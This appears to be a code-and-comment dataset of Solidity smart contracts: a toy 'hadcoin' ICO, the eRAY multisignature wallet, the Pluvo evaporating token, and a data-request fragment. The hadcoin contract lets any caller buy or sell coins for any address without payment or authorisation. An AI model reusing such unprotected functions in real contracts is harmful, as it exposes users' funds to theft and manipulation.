serviceRequests[_requestId].dataStateRequestCreation ==
DATA_STATE.DELETED
) {
dataTypesUsed[serviceRequests[_requestId].dataType]
.dataState = DATA_STATE.INTACT;
dataTypesUsed[serviceRequests[_requestId].dataType]
.state = STATE.OPEN;
serviceRequests[_requestId].state = _requestState;
}
} else {
addDataType(
serviceRequests[_requestId].dataType,
dataTypesUsed[serviceRequests[_requestId].dataType]
.state,
dataTypesUsed[serviceRequests[_requestId].dataType]
.dataState
);
serviceRequests[_requestId].state = _requestState;
}
} else {
revert(
"Could not complete request. Desired changes are forbidden."
);
}
}
}
}
|
Adding new data types used is using/
|
function addDataType(
string memory _dt,
STATE state,
DATA_STATE dataState
) public {
require(
dataTypes.checkDataTypeExistence(_dt),
"Data Type is not permitted."
);
require(!dataTypesUsed[_dt].isValue, "Data Type already in use.");
DataTypesUsed memory newDataTypesUsed = DataTypesUsed(
_dt,
state,
dataState,
true
);
dataTypesUsed[_dt] = newDataTypesUsed;
dataTypesUsedList.push(_dt);
}
| 12,757,716 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.11;
contract hadcoin_ico {
// Introducing the maximum number of Hadcoins available for sale
uint256 public max_hadcoins = 1000000;
// Introducing the USD to Hadcoins conversion rate
uint256 public usd_to_hadcoins = 1000;
// Introducing the total number of Hadcoins that have been bought by the investors
uint256 public total_hadcoins_bought = 0;
// Mapping from the investor address to its equity in Hadcoins and USD
mapping(address => uint256) equity_hadcoins;
mapping(address => uint256) equity_usd;
// Checking if an investor can buy hadcoins
modifier can_buy_hadcoins(uint256 usd_invested) {
require(
usd_invested * usd_to_hadcoins + total_hadcoins_bought <=
max_hadcoins
);
_;
}
// Getting the equity in Hadcoins of an investor
function equity_in_hadcoins(address investor)
external
view
returns (uint256)
{
return equity_hadcoins[investor];
}
// Getting the equity in USD of an investor
function equity_in_usd(address investor) external view returns (uint256) {
return equity_usd[investor];
}
// Buying Hadcoins
function buy_hadcoins(address investor, uint256 usd_invested)
external
can_buy_hadcoins(usd_invested)
{
uint256 hadcoins_bought = usd_invested * usd_to_hadcoins;
equity_hadcoins[investor] += hadcoins_bought;
equity_usd[investor] = equity_hadcoins[investor] / usd_to_hadcoins;
total_hadcoins_bought += hadcoins_bought;
}
// Selling hadcoins
function sell_hadcoins(address investor, uint256 hadcoins_sold) external {
equity_hadcoins[investor] -= hadcoins_sold;
equity_usd[investor] = equity_hadcoins[investor] / usd_to_hadcoins;
total_hadcoins_bought -= hadcoins_sold;
}
}
|
Getting the equity in USD of an investor
|
function equity_in_usd(address investor) external view returns (uint256) {
return equity_usd[investor];
}
| 15,819,609 |
//This file contains a multisignature wallet contract that is used to control the eRAY token contract:
// - to set the settings of token generation round
// - to start and to stop token generation round
// - to freeze the token upon creation of array.io blockchain
// - to send eRAY tokens from this wallet
// - to make arbitrary transaction in usual to multisignature wallet way
// Elsewhere in other contracts or documentation this contract MAY be referenced as projectWallet
// Authors: Alexander Shevtsov <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="3b495a555f545657545c52550c0d7b5c565a525715585456">[email protected]</a>>
// Vladimir Bobrov <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="ddab9db9b8beb8b3a9a8afa4baafb2a8adf3beb2b0">[email protected]</a>>
// vladiuz1 <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="3b4d487b5a49495a42155254">[email protected]</a>>
// License: see the repository file
// Last updated: 12 August 2018
pragma solidity ^0.4.22;
//Interface for the token contract
contract IToken {
address public whitelist;
function executeSettingsChange(
uint amount,
uint minimalContribution,
uint partContributor,
uint partProject,
uint partFounders,
uint blocksPerStage,
uint partContributorIncreasePerStage,
uint maxStages
);
}
contract MultiSigWallet {
uint constant public MAX_OWNER_COUNT = 50;
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
address owner; //the one who creates the contract, only this person can set the token
uint public required;
uint public transactionCount;
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
IToken public token;
struct SettingsRequest {
uint amount;
uint minimalContribution;
uint partContributor;
uint partProject;
uint partFounders;
uint blocksPerStage;
uint partContributorIncreasePerStage;
uint maxStages;
bool executed;
mapping(address => bool) confirmations;
}
uint settingsRequestsCount = 0;
mapping(uint => SettingsRequest) settingsRequests;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
modifier onlyWallet() {
require(msg.sender == address(this));
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier ownerDoesNotExist(address _owner) {
require(!isOwner[_owner]);
_;
}
modifier ownerExists(address _owner) {
require(isOwner[_owner]);
_;
}
modifier transactionExists(uint _transactionId) {
require(transactions[_transactionId].destination != 0);
_;
}
modifier confirmed(uint _transactionId, address _owner) {
require(confirmations[_transactionId][_owner]);
_;
}
modifier notConfirmed(uint _transactionId, address _owner) {
require(!confirmations[_transactionId][_owner]);
_;
}
modifier notExecuted(uint _transactionId) {
require(!transactions[_transactionId].executed);
_;
}
modifier notNull(address _address) {
require(_address != 0);
_;
}
modifier validRequirement(uint _ownerCount, uint _required) {
require(_ownerCount < MAX_OWNER_COUNT
&& _required <= _ownerCount
&& _required != 0
&& _ownerCount != 0);
_;
}
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
constructor(address[] _owners, uint _required) public validRequirement(_owners.length, _required) {
for (uint i=0; i<_owners.length; i++) {
require(!isOwner[_owners[i]] && _owners[i] != 0);
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
owner = msg.sender;
}
/// @dev Fallback function allows to deposit ether.
function() public payable {
if (msg.value > 0)
emit Deposit(msg.sender, msg.value);
}
function setToken(address _token) public onlyOwner {
require(token == address(0));
token = IToken(_token);
}
//---------------- TGR SETTINGS -----------
/// @dev Sends request to change settings
/// @return Transaction ID
function tgrSettingsChangeRequest(
uint amount,
uint minimalContribution,
uint partContributor,
uint partProject,
uint partFounders,
uint blocksPerStage,
uint partContributorIncreasePerStage,
uint maxStages
)
public
ownerExists(msg.sender)
returns (uint _txIndex)
{
assert(amount*partContributor*partProject*blocksPerStage*partContributorIncreasePerStage*maxStages != 0); //asserting no parameter is zero except partFounders
assert(amount >= 1 ether);
_txIndex = settingsRequestsCount;
settingsRequests[_txIndex] = SettingsRequest({
amount: amount,
minimalContribution: minimalContribution,
partContributor: partContributor,
partProject: partProject,
partFounders: partFounders,
blocksPerStage: blocksPerStage,
partContributorIncreasePerStage: partContributorIncreasePerStage,
maxStages: maxStages,
executed: false
});
settingsRequestsCount++;
confirmSettingsChange(_txIndex);
return _txIndex;
}
/// @dev Allows an owner to confirm a change settings request.
/// @param _txIndex Transaction ID.
function confirmSettingsChange(uint _txIndex) public ownerExists(msg.sender) returns(bool success) {
require(settingsRequests[_txIndex].executed == false);
settingsRequests[_txIndex].confirmations[msg.sender] = true;
if(isConfirmedSettingsRequest(_txIndex)){
SettingsRequest storage request = settingsRequests[_txIndex];
request.executed = true;
IToken(token).executeSettingsChange(
request.amount,
request.minimalContribution,
request.partContributor,
request.partProject,
request.partFounders,
request.blocksPerStage,
request.partContributorIncreasePerStage,
request.maxStages
);
return true;
} else {
return false;
}
}
function setFinishedTx() public ownerExists(msg.sender) returns(uint transactionId) {
transactionId = addTransaction(token, 0, hex"ce5e6393");
confirmTransaction(transactionId);
}
function setLiveTx() public ownerExists(msg.sender) returns(uint transactionId) {
transactionId = addTransaction(token, 0, hex"29745306");
confirmTransaction(transactionId);
}
function setFreezeTx() public ownerExists(msg.sender) returns(uint transactionId) {
transactionId = addTransaction(token, 0, hex"2c8cbe40");
confirmTransaction(transactionId);
}
function transferTx(address _to, uint _value) public ownerExists(msg.sender) returns(uint transactionId) {
//I rather seldom wish pain to other people, but solidity developers may be an exception.
bytes memory calldata = new bytes(68);
calldata[0] = byte(hex"a9");
calldata[1] = byte(hex"05");
calldata[2] = byte(hex"9c");
calldata[3] = byte(hex"bb");
//When I wrote these lines my eyes were bleeding.
bytes32 val = bytes32(_value);
bytes32 dest = bytes32(_to);
//I spent a day for this function, because my fingers made a fist.
for(uint j=0; j<32; j++) {
calldata[j+4]=dest[j];
}
//Oh, reader! I hope you forget it like a bad nightmare.
for(uint i=0; i<32; i++) {
calldata[i+36]=val[i];
}
//Stil the ghost of this code will haunt you.
transactionId = addTransaction(token, 0, calldata);
confirmTransaction(transactionId);
//I haven't mentioned that it's the most elegant solution for 0.4.20 compiler, which doesn't require rewriting all this shitty code.
//Enjoy.
}
function setWhitelistTx(address _whitelist) public ownerExists(msg.sender) returns(uint transactionId) {
bytes memory calldata = new bytes(36);
calldata[0] = byte(hex"85");
calldata[1] = byte(hex"4c");
calldata[2] = byte(hex"ff");
calldata[3] = byte(hex"2f");
bytes32 dest = bytes32(_whitelist);
for(uint j=0; j<32; j++) {
calldata[j+4]=dest[j];
}
transactionId = addTransaction(token, 0, calldata);
confirmTransaction(transactionId);
}
//adds this address to the whitelist
function whitelistTx(address _address) public ownerExists(msg.sender) returns(uint transactionId) {
bytes memory calldata = new bytes(36);
calldata[0] = byte(hex"0a");
calldata[1] = byte(hex"3b");
calldata[2] = byte(hex"0a");
calldata[3] = byte(hex"4f");
bytes32 dest = bytes32(_address);
for(uint j=0; j<32; j++) {
calldata[j+4]=dest[j];
}
transactionId = addTransaction(token.whitelist(), 0, calldata);
confirmTransaction(transactionId);
}
//--------------------------Usual multisig functions for handling owners and transactions.
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param _owner Address of new owner.
function addOwner(address _owner) public onlyWallet ownerDoesNotExist(_owner) notNull(_owner) validRequirement(owners.length + 1, required) {
isOwner[_owner] = true;
owners.push(_owner);
emit OwnerAddition(_owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param _owner Address of owner.
function removeOwner(address _owner) public onlyWallet ownerExists(_owner) {
isOwner[_owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == _owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
emit OwnerRemoval(_owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param _owner Address of owner to be replaced.
/// @param _newOwner Address of new owner.
function replaceOwner(address _owner, address _newOwner) public onlyWallet ownerExists(_owner) ownerDoesNotExist(_newOwner) {
for (uint i=0; i<owners.length; i++)
if (owners[i] == _owner) {
owners[i] = _newOwner;
break;
}
isOwner[_owner] = false;
isOwner[_newOwner] = true;
emit OwnerRemoval(_owner);
emit OwnerAddition(_newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required) public onlyWallet validRequirement(owners.length, _required) {
required = _required;
emit RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination, uint value, bytes data) public ownerExists(msg.sender) notNull(destination) returns (uint transactionId) {
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination, uint value, bytes data) internal returns (uint transactionId) {
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
emit Submission(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param _transactionId Transaction ID.
function confirmTransaction(uint _transactionId) public ownerExists(msg.sender) transactionExists(_transactionId) notConfirmed(_transactionId, msg.sender) {
confirmations[_transactionId][msg.sender] = true;
emit Confirmation(msg.sender, _transactionId);
executeTransaction(_transactionId);
}
//Will fail if calldata less than 4 bytes long. It's a feature, not a bug.
/// @dev Allows anyone to execute a confirmed transaction.
/// @param _transactionId Transaction ID.
function executeTransaction(uint _transactionId) public notExecuted(_transactionId) {
if (isConfirmed(_transactionId)) {
Transaction storage trx = transactions[_transactionId];
trx.executed = true;
//Just don't ask questions. It's needed. Believe me.
bytes memory data = trx.data;
bytes memory calldata;
if (trx.data.length >= 4) {
bytes4 signature;
assembly {
signature := mload(add(data, 32))
}
calldata = new bytes(trx.data.length-4);
for (uint i = 0; i<calldata.length; i++) {
calldata[i] = trx.data[i+4];
}
}
else {
calldata = new bytes(0);
}
if (trx.destination.call.value(trx.value)(signature, calldata))
emit Execution(_transactionId);
else {
emit ExecutionFailure(_transactionId);
trx.executed = false;
}
}
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param _transactionId Transaction ID.
function revokeConfirmation(uint _transactionId) public ownerExists(msg.sender) confirmed(_transactionId, msg.sender) notExecuted(_transactionId) {
confirmations[_transactionId][msg.sender] = false;
emit Revocation(msg.sender, _transactionId);
}
/// @dev Returns the confirmation status of a transaction.
/// @param _transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint _transactionId) public view returns (bool) {
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[_transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
return false;
}
function isConfirmedSettingsRequest(uint _transactionId) public view returns (bool) {
uint count = 0;
for (uint i = 0; i < owners.length; i++) {
if (settingsRequests[_transactionId].confirmations[owners[i]])
count += 1;
if (count == required)
return true;
}
return false;
}
/// @dev Shows what settings were requested in a settings change request
function viewSettingsChange(uint _txIndex) public constant
returns (uint amount, uint minimalContribution, uint partContributor, uint partProject, uint partFounders, uint blocksPerStage, uint partContributorIncreasePerStage, uint maxStages) {
SettingsRequest memory request = settingsRequests[_txIndex];
return (
request.amount,
request.minimalContribution,
request.partContributor,
request.partProject,
request.partFounders,
request.blocksPerStage,
request.partContributorIncreasePerStage,
request.maxStages
);
}
/// @dev Returns number of confirmations of a transaction.
/// @param _transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint _transactionId) public view returns (uint count) {
for (uint i=0; i<owners.length; i++)
if (confirmations[_transactionId][owners[i]])
count += 1;
}
function getSettingsChangeConfirmationCount(uint _txIndex) public view returns (uint count) {
for (uint i=0; i<owners.length; i++)
if (settingsRequests[_txIndex].confirmations[owners[i]])
count += 1;
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed) public view returns (uint count) {
for (uint i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners() public view returns (address[]) {
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param _transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint _transactionId) public view returns (address[] _confirmations) {
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[_transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
function getTransactionIds(uint from, uint to, bool pending, bool executed) public view returns (uint[] _transactionIds) {
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i=from; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i=from; i<to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
}
|
Shows what settings were requested in a settings change request
|
function viewSettingsChange(uint _txIndex) public constant
returns (uint amount, uint minimalContribution, uint partContributor, uint partProject, uint partFounders, uint blocksPerStage, uint partContributorIncreasePerStage, uint maxStages) {
SettingsRequest memory request = settingsRequests[_txIndex];
return (
request.amount,
request.minimalContribution,
request.partContributor,
request.partProject,
request.partFounders,
request.blocksPerStage,
request.partContributorIncreasePerStage,
request.maxStages
);
}
| 2,174,195 |
pragma solidity ^0.4.24;
pragma experimental "v0.5.0";
import "openzeppelin-solidity/contracts/token/ERC20/DetailedERC20.sol";
import "openzeppelin-solidity/contracts/math/SafeMath.sol";
contract Pluvo is DetailedERC20("Pluvo", "PLV", 18) {
using SafeMath for uint256;
/*--------- CONSTANTS ---------*/
uint256 constant private MAX_UINT256 = 2**256 - 1;
/*--------- ERC20 Variables ---------*/
struct Balance {
uint256 amount;
uint256 lastEvaporationTime;
}
mapping (address => Balance) public balances;
mapping (address => mapping (address => uint256)) public allowed;
/// total amount of tokens
uint256 public totalSupply;
/*--------- Contract Constructor ---------*/
constructor (
uint256 _maxSupply,
uint256 _evaporationNumerator,
uint256 _evaporationDenominator,
uint256 _secondsBetweenRainfalls
) public {
require(_evaporationDenominator >= _evaporationNumerator);
require(_evaporationDenominator > 0);
require(_maxSupply > 0);
totalSupply = 0; // initialize to 0; supply will grow due to rain
numberOfRainees = 0; // initialize to 0; no one has registered yet
precision = 8; // higher precision costs more gas
maxSupply = _maxSupply;
evaporationNumerator = _evaporationNumerator;
evaporationDenominator = _evaporationDenominator;
secondsBetweenRainfalls = _secondsBetweenRainfalls;
rainfallPayouts.push(Rain(0, block.timestamp));
parameterSetter = msg.sender;
registrar = msg.sender;
}
/*--------- Modifiers ---------*/
/// @notice Restrict function access to given address
modifier onlyBy(address _account) {
require(msg.sender == _account, "Sender unauthorized.");
_;
}
/*--------- ERC20 Functions ---------*/
/// @notice Return the total supply
/// @return total supply
function totalSupply() public view returns (uint256) {
return totalSupply;
}
/// @notice send `_value` token to `_to` from `msg.sender`
/// @notice first, the message sender's balance falls by
/// amount evaporated since last transfer
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value)
public returns (bool success) {
// evaporate from the sender
evaporate(msg.sender);
// ensure enough funds are available to send
require(balances[msg.sender].amount >= _value);
// evaporate from the recipient
evaporate(_to);
// send funds
balances[msg.sender].amount = balances[msg.sender].amount.sub(_value);
balances[_to].amount = balances[_to].amount.add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/// @notice send `_value` token to `_to` from `_from`
/// on the condition it is approved by `_from`
/// @notice first, the _from address balance falls
/// by amount evaporated since last transfer
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool success) {
// ensure message sender is authorized to spend from the _from address
uint256 allowance = allowed[_from][msg.sender];
require(allowance >= _value);
// evaporate from the _from address
evaporate(_from);
// ensure enough funds are available to send
require(balances[_from].amount >= _value);
// evaporate from the recipient
evaporate(_to);
// the _from address then pays the recipient
balances[_from].amount = balances[_from].amount.sub(_value);
balances[_to].amount = balances[_to].amount.add(_value);
if (allowance < MAX_UINT256) {
allowed[_from][msg.sender] =
allowed[_from][msg.sender].sub(_value);
}
emit Transfer(_from, _to, _value);
return true;
}
/// @notice Displays the address's balance,
/// after evaporation has been paid.
/// @notice This does not pay the evaporation,
/// which would get paid at next transfer.
/// @param _owner The address from which the balance will be retrieved.
/// @return The balance as if evaporation been paid.
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner].amount.sub(calculateEvaporation(_owner));
}
/// @notice `msg.sender` approves `_spender` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of tokens to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value)
public returns (bool success) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender)
public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/*--------- Pluvo Variables ---------*/
// address of parameter setter, for functions that require authorization
address public parameterSetter;
// registrar address, authorized to register and unregister addresses
address public registrar;
// authorized recipients of rain,
// mapping from address to last rainfall collected
mapping (address => uint256) public rainees;
// used to store the amount and time for each rainfall
struct Rain {
uint256 amount;
uint256 rainTime;
}
// stores payout amount and time for each rainfall
Rain[] public rainfallPayouts;
// evaporationNumerator coins per evaporationDenominator evaporate per rainfall
uint256 public evaporationNumerator;
uint256 public evaporationDenominator;
// number of seconds between rainfall payouts
uint256 public secondsBetweenRainfalls;
// maximum supply ever, used for calculating rain amount
uint256 public maxSupply;
// number of addresses registered as rainees
uint256 public numberOfRainees;
// number of times to run the calculateEvaporation algorithm
uint256 public precision;
/*--------- Pluvo events ---------*/
event Collection(address indexed recipient, uint256 amount);
/*--------- Pluvo functions ---------*/
/// @notice Counts 1 more than the number of past rainfalls. This is
/// because the rainfallPayouts array is seeded with a (0, block.timestamp)
/// value in the constructor.
/// @notice That is, this returns the index of the rainfall that is about
/// to occur next. For example, a return value of 2 indicates that the
/// next rainfall will be the second rainfall ever.
/// @return Number of past rainfalls.
function currentRainfallIndex() public view returns (uint256) {
return rainfallPayouts.length;
}
/// @notice This is guaranteed to return a value because the
/// rainfallPayouts array was seeded with a Rain struct in the constructor
/// @notice Determine the last time when rain happened
/// @return Last time when rain happened
function lastRainTime() public view returns (uint256) {
return rainfallPayouts[currentRainfallIndex().sub(1)].rainTime;
}
/// @notice Determine the total amount of rainfall due to each recipient
/// in the next rainfall.
/// @return Total rainfall due in a rainfall to each registered address.
function rainPerRainfallPerPerson() public view returns (uint256) {
require(numberOfRainees > 0);
return
maxSupply
.mul(evaporationNumerator)
.div(evaporationDenominator)
.div(numberOfRainees);
}
/// @notice Set the evaporation rate numerator and denominator.
/// @return True if evaporation rate was updated; false otherwise.
function setEvaporationRate(
uint256 _evaporationNumerator,
uint256 _evaporationDenominator
) public onlyBy(parameterSetter) {
require(_evaporationDenominator >= _evaporationNumerator);
require(_evaporationDenominator > 0);
rain();
evaporationNumerator = _evaporationNumerator;
evaporationDenominator = _evaporationDenominator;
}
/// @notice Set the rainfall period, in seconds between rainfalls.
/// @notice Will rain if a rain is due given the current
/// secondsBetweenRainfalls.
function setRainfallPeriod(uint256 _secondsBetweenRainfalls)
public onlyBy(parameterSetter) {
require(_secondsBetweenRainfalls > 0);
rain();
secondsBetweenRainfalls = _secondsBetweenRainfalls;
}
/// @notice Set the evaporation calculation precision
/// @notice 8 should be enough; lower costs less gas but is less precise
function setPrecision(uint256 _precision)
public onlyBy(parameterSetter) {
require(_precision > 2);
precision = _precision;
}
/// @notice Register an address as an available rainee.
/// @notice This function causes a rainfall before registration, if enough
/// time has elapsed.
/// @notice Note that this does not yet check for authorization.
/// @param _rainee The address to register
/// @return True if the address was registered, false if the address was
/// already registered
function registerAddress(address _rainee)
public onlyBy(registrar) returns (bool success) {
if (rainees[_rainee] == 0) {
rain(); // rain first, if enough time has elapsed
rainees[_rainee] = currentRainfallIndex();
numberOfRainees = numberOfRainees.add(1);
return true;
}
return false;
}
/// @notice Unregister an address, making it no longer an available rainee.
/// @notice This function causes a rainfall before unregistration,
/// if enough time has elapsed.
/// @notice Note that this does not yet check for authorization.
/// @param _rainee The address to unregister
/// @return True if the address was unregistered,
/// false if the address was already unregistered
function unregisterAddress(address _rainee)
public onlyBy(registrar) returns (bool success) {
if (rainees[_rainee] > 0) {
rain(); // rain first, if enough time has elapsed
delete rainees[_rainee];
numberOfRainees = numberOfRainees.sub(1);
return true;
}
return false;
}
/// @notice Changes the parameterSetter
function changeParameterSetter(address _parameterSetter)
public onlyBy(parameterSetter) {
parameterSetter = _parameterSetter;
}
/// @notice Changes the registrar
function changeRegistrar(address _registrar) public onlyBy(registrar) {
registrar = _registrar;
}
/// @notice Increase message sender's balance by amount of available rain.
/// @notice Requires that message sender is authorized.
/// @notice Collection first performs any evaporation.
/// @notice This function allows user to specify the maximum number of
/// rainfalls to collect, thereby saving gas if there are many rainfalls
/// to collect.
/// @param maxCollections maximum number of rainfalls to collect
/// @return Amount collected.
function collectRainfalls(uint256 maxCollections)
public returns (uint256 fundsCollected) {
// ensure message sender is authorized
require(rainees[msg.sender] > 0);
// ensure the sender wants to collect rain
require(maxCollections > 0);
// rain, if necessary
rain(); // rain() only rains if enough time has elapsed
// ensure there is rain to be collected by the user
uint256 currentRainfallOfSender = rainees[msg.sender];
uint256 currentRainfall = currentRainfallIndex();
require(currentRainfall > currentRainfallOfSender);
// determine upper limit of rainfalls to collect
uint256 upperLimit;
if (currentRainfall.sub(currentRainfallOfSender) > maxCollections)
upperLimit = currentRainfallOfSender + maxCollections;
else
upperLimit = currentRainfall;
// calculate amount available to collect
// subtract evaporation before collection
for (uint256 i = currentRainfallOfSender; i < upperLimit; i++) {
uint256 amt = rainfallPayouts[i].amount;
uint256 time = rainfallPayouts[i].rainTime;
fundsCollected =
fundsCollected.add(amt).sub(calculateEvaporation(amt, time));
}
// evaporate from message sender
// if current balance is zero, this updates the address's
// lastEvaporationTime to the current time
evaporate(msg.sender);
// pay collection to recipient
balances[msg.sender].amount =
balances[msg.sender].amount.add(fundsCollected);
// update recipient's last rainfall collection index
rainees[msg.sender] = upperLimit;
// update total supply
totalSupply = totalSupply.add(fundsCollected);
// emit event so web3.js can see what happened
emit Collection(msg.sender, fundsCollected);
// implied: return fundsCollected;
}
/// @notice Increase message sender's balance by amount of available rain.
/// @notice Requires that message sender is authorized.
/// @notice Collection first performs any evaporation.
/// @return Amount collected.
function collect() public returns (uint256 fundsCollected) {
return collectRainfalls(MAX_UINT256);
}
/// @notice Calculate number of rainfalls due if rain() gets called
/// @return rainfallsDue Number of rainfalls due in next rain()
function rainfallsDue() public view returns (uint256) {
return block.timestamp.sub(lastRainTime()).div(secondsBetweenRainfalls);
}
/// @notice Store one rainfall payout, without error checking
function rainOnceForce() private {
rainfallPayouts.push(
Rain(
rainPerRainfallPerPerson(),
secondsBetweenRainfalls.add(lastRainTime())
)
);
}
/// @notice Store one rainfall payout.
/// @notice Addresses can call this function to store one rainfall payout
/// if calling rain() would cost too much gas (e.g., if it has been many
/// periods since the last rainfall)
function rainOnce() public {
if (numberOfRainees > 0 && rainfallsDue() > 0)
rainOnceForce();
}
/// @notice Store rainfall payout(s) due since last rainfall.
/// @notice If multiple rainfalls should have occurred, store the rain
/// from each of them.
function rain() public {
if (numberOfRainees > 0) {
uint256 maxRainfalls = rainfallsDue();
for (uint256 i = 1; i <= maxRainfalls; i++)
rainOnceForce();
}
}
/// @notice Calculates evaporation amount for a given balance and time
/// without evaporating.
/// @notice chain-weights the per-rainfall evaporation rate so evaporation
/// will not be > 100%
/// @param balance amount of coins to evaporate
/// @param lastTime last time when evaporation occurred
function calculateEvaporation(
uint256 balance,
uint256 lastTime
) private view returns (uint256) {
require(block.timestamp >= lastTime);
if (evaporationNumerator == 0)
return 0;
uint256 elapsedEvaporations =
block.timestamp.sub(lastTime).div(secondsBetweenRainfalls);
uint256 q = evaporationDenominator.div(evaporationNumerator);
uint256 maxEvaporation =
balance.sub(
fractionalExponentiation(
balance, q, elapsedEvaporations, true, precision
)
);
if (maxEvaporation > balance)
return balance;
else
return maxEvaporation;
}
/// @notice Calculates evaporation amount for a given address,
/// without evaporating.
/// @notice chain-weights the per-rainfall evaporation rate
/// so evaporation will not be > 100%
/// @param _addr address from which to calcuate evaporation
function calculateEvaporation(address _addr)
public view returns (uint256) {
return calculateEvaporation(
balances[_addr].amount,
balances[_addr].lastEvaporationTime
);
}
/// @notice Evaporate coins for a given address.
/// @notice Only evaporate in the same block as rain.
/// @param _addr address from which to perform evaporation
function evaporate(address _addr) private {
// for a zero balance, just update the lastEvaporationTime
if (balances[_addr].amount == 0)
balances[_addr].lastEvaporationTime = lastRainTime();
// for positive balances, evaporate coins and update
// the lastEvaporationTime,
// but only do so if evaporation amount is positive
else {
// this assert must be true for positive balances
assert(balances[_addr].lastEvaporationTime > 0);
uint256 evaporation = calculateEvaporation(_addr);
if (evaporation > 0) {
balances[_addr].amount =
balances[_addr].amount.sub(evaporation); // pay evaporation
balances[_addr].lastEvaporationTime = lastRainTime();
totalSupply = totalSupply.sub(evaporation);
}
}
}
/*--------- Math Functions ---------*/
/// @notice Computes `k * (1+1/q) ^ n`, with precision `p`, for b = false
/// @notice Computes `k * (1-1/q) ^ n`, with precision `p`, for b = true
/// @notice Small values of p get a close approimation
/// @param k coefficient
/// @param q divisor (e.g., for 1.02^n, q = 50)
/// @param n exponent
/// @param b negative toggle (e.g., b = true for 0.99^n,
/// b = false for 1.01^n)
/// @param p precision parameter. (p ~ log(n) is usually enough).
/// Higher p costs more gas
/// @return result of computation (k * (1 ± 1/q) ^ n)
function fractionalExponentiation(uint k, uint q, uint n, bool b, uint p)
private pure returns (uint) {
uint s = 0;
uint N = 1;
uint B = 1;
for (uint i = 0; i < p; ++i) {
uint256 update = k * N / B / (q**i);
if (b && i % 2 == 1)
s -= update;
else
s += update;
N = N * (n-i);
B = B * (i+1);
}
if (s > k)
return 0;
else
return s;
}
// TODO: DELETE THIS FOR PRODUCTION
function blockTime() public view returns (uint256) {
return block.timestamp;
}
}
|
